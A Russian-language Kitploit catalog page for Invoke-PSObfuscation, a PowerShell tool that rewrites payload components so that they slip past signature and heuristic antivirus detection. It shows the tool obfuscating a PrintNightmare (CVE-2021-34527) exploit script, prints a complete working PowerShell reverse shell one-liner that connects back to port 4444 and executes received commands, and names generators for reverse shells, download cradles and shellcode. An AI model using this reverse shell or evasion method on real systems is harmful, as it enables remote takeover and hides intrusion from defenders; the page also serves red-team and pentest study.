Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Invoke-PSObfuscation — Глубокий подход к обфускации отдельных компонентов полезной нагрузки PowerShell, будь то в Windows или Kali Linux. | Kitploit
Инструменты/GitHubGitHub/gh0x0st/invoke-psobfuscation
Генерация полезной нагрузкиЭксплуатацияШелл-кодRed TeamingРазработка Полезной Нагрузки
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Глубокий подход к обфускации отдельных компонентов полезной нагрузки PowerShell, будь то в Windows или Kali Linux.

Репозиторий
28452124 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Invoke-PSObfuscation

Традиционные методы обфускации, как правило, добавляют слои для инкапсуляции готового кода, например base64 или сжатие. Такие полезные нагрузки продолжают иметь разную степень успеха, но их стало тривиально извлекать, а некоторые загрузчики часто обнаруживаются, что по сути создает узкие места.

Подход, который представляет этот инструмент, — это методология, позволяющая нацеливаться и обфусцировать отдельные компоненты скрипта со случайными вариациями, достигая при этом той же заложенной логики, без инкапсуляции всей полезной нагрузки в единый слой. Из-за сложности логики обфускации результирующие полезные нагрузки будет очень сложно подписать, и они проскользнут мимо эвристических движков, не запрограммированных на эмуляцию унаследованной логики.

Хотя этот скрипт может успешно обфусцировать большинство полезных нагрузок самостоятельно, этот проект также послужит постоянной основой, которую я буду использовать для создания будущих функций, которые будут использовать эту основу для предоставления специализированных обфусцированных полезных нагрузок, например той, которая создает только обратные оболочки.

Я написал статью в блоге для Offensive Security в качестве введения в техники, которые представляет этот инструмент. Прежде чем углубляться дальше, рекомендую сначала прочитать её: https://www.offensive-security.com/offsec/powershell-obfuscation/

Выделенные полезные нагрузки

В рамках моей текущей работы по обфускации PowerShell я создаю скрипты, которые генерируют специализированные полезные нагрузки, использующие эту основу. Они помогли мне сэкономить время, и я надеюсь, они будут полезны и вам. Вы можете найти их в собственных папках в корне этого репозитория.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Компоненты

Как и многие другие языки программирования, PowerShell можно разбить на множество различных компонентов, составляющих исполняемую логику. Это позволяет нам относительно легко обходить сигнатурные детекции, изменяя то, как мы представляем отдельные компоненты в полезной нагрузке, в замаскированную или непонятную производную.

Имейте в виду, что нацеливание на каждый компонент в сложных полезных нагрузках очень навязчиво. Этот инструмент построен так, чтобы вы могли контролируемо выбирать компоненты для обфускации. Я обнаружил, что многие сигнатуры можно обойти, просто нацелившись на командлеты, переменные и любые комментарии. При использовании этого против сложных полезных нагрузок, таких как print nightmare, помните, что кастомные параметры функций / переменные также будут изменены. Всегда тщательно тестируйте результирующие полезные нагрузки и убедитесь, что вы знаете о любых измененных именованных параметрах.

Типы компонентов, такие как пайпы и переменные конвейера, представлены здесь, чтобы сделать вашу полезную нагрузку более запутанной и сложной для декодирования.

Поддерживаемые типы

  • Псевдонимы (iex)
  • Командлеты (New-Object)
  • Комментарии (# и <# #>)
  • Целые числа (4444)
  • Методы ($client.GetStream())
  • Пространства имен классов (System.Net.Sockets.TCPClient)
  • Пайпы (|)
  • Переменные конвейера ($_)
  • Строки ("value" | 'value')
  • Переменные ($client)

Генераторы

Каждый компонент имеет свой собственный выделенный генератор, который содержит список возможных статических или динамически генерируемых значений, случайным образом выбираемых при каждом выполнении. Если существует несколько экземпляров компонента, генератор будет обрабатывать каждый из них по отдельности. Это добавляет степень случайности каждый раз, когда вы запускаете этот инструмент для данной полезной нагрузки, так что каждая итерация будет отличаться. Единственное исключение — имена переменных.

Если алгоритм, связанный с конкретным компонентом, начинает вызывать флаги полезной нагрузки, текущий дизайн позволяет легко изменить логику для этого генератора, не нарушая работу всего скрипта.

$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Требования

Эта основа и результирующие полезные нагрузки были протестированы на следующих операционных системах и версиях PowerShell. Результирующие обратные оболочки не будут работать на PowerShell v2.0.

Версия PSПротестировано на ОСInvoke-PSObfuscation.ps1Reverse Shell
7.1.3Kali 2021.2ПоддерживаетсяПоддерживается
5.1.19041.1023Windows 10 10.0.19042ПоддерживаетсяПоддерживается
5.1.21996.1Windows 11 10.0.21996ПоддерживаетсяПоддерживается

Примеры использования

CVE-2021-34527 (PrintNightmare)

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Слой 0 обфускации
     >> https://github.com/gh0x0st

[*] Обфускация пространств имен классов
[*] Обфускация командлетов
[*] Обфускация переменных
[-] -DriverName теперь -QhYm48JbCsqF
[-] -NewUser теперь -ybrcKe
[-] -NewPassword теперь -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL теперь -dNr
[-] -ModuleName теперь -jd
[-] -Module теперь -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type теперь -fjTOTLDCGufqEu
[-] -FullName теперь -0vEKnCqm
[-] -EnumElements теперь -B9aFqfvDbjtOXPxrR
[-] -Bitfield теперь -bFUCG7LB9gq50p4e
[-] -StructFields теперь -xKryDRQnLdjTC8
[-] -PackingSize теперь -0CB3X
[-] -ExplicitLayout теперь -YegeaeLpPnB
[*] Удаление комментариев
[*] Запись полезной нагрузки в o-printnightmare.ps1
[*] Готово

PS /home/tristram> 

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Слой 0 обфускации
     >> https://github.com/gh0x0st
Скачать инструмент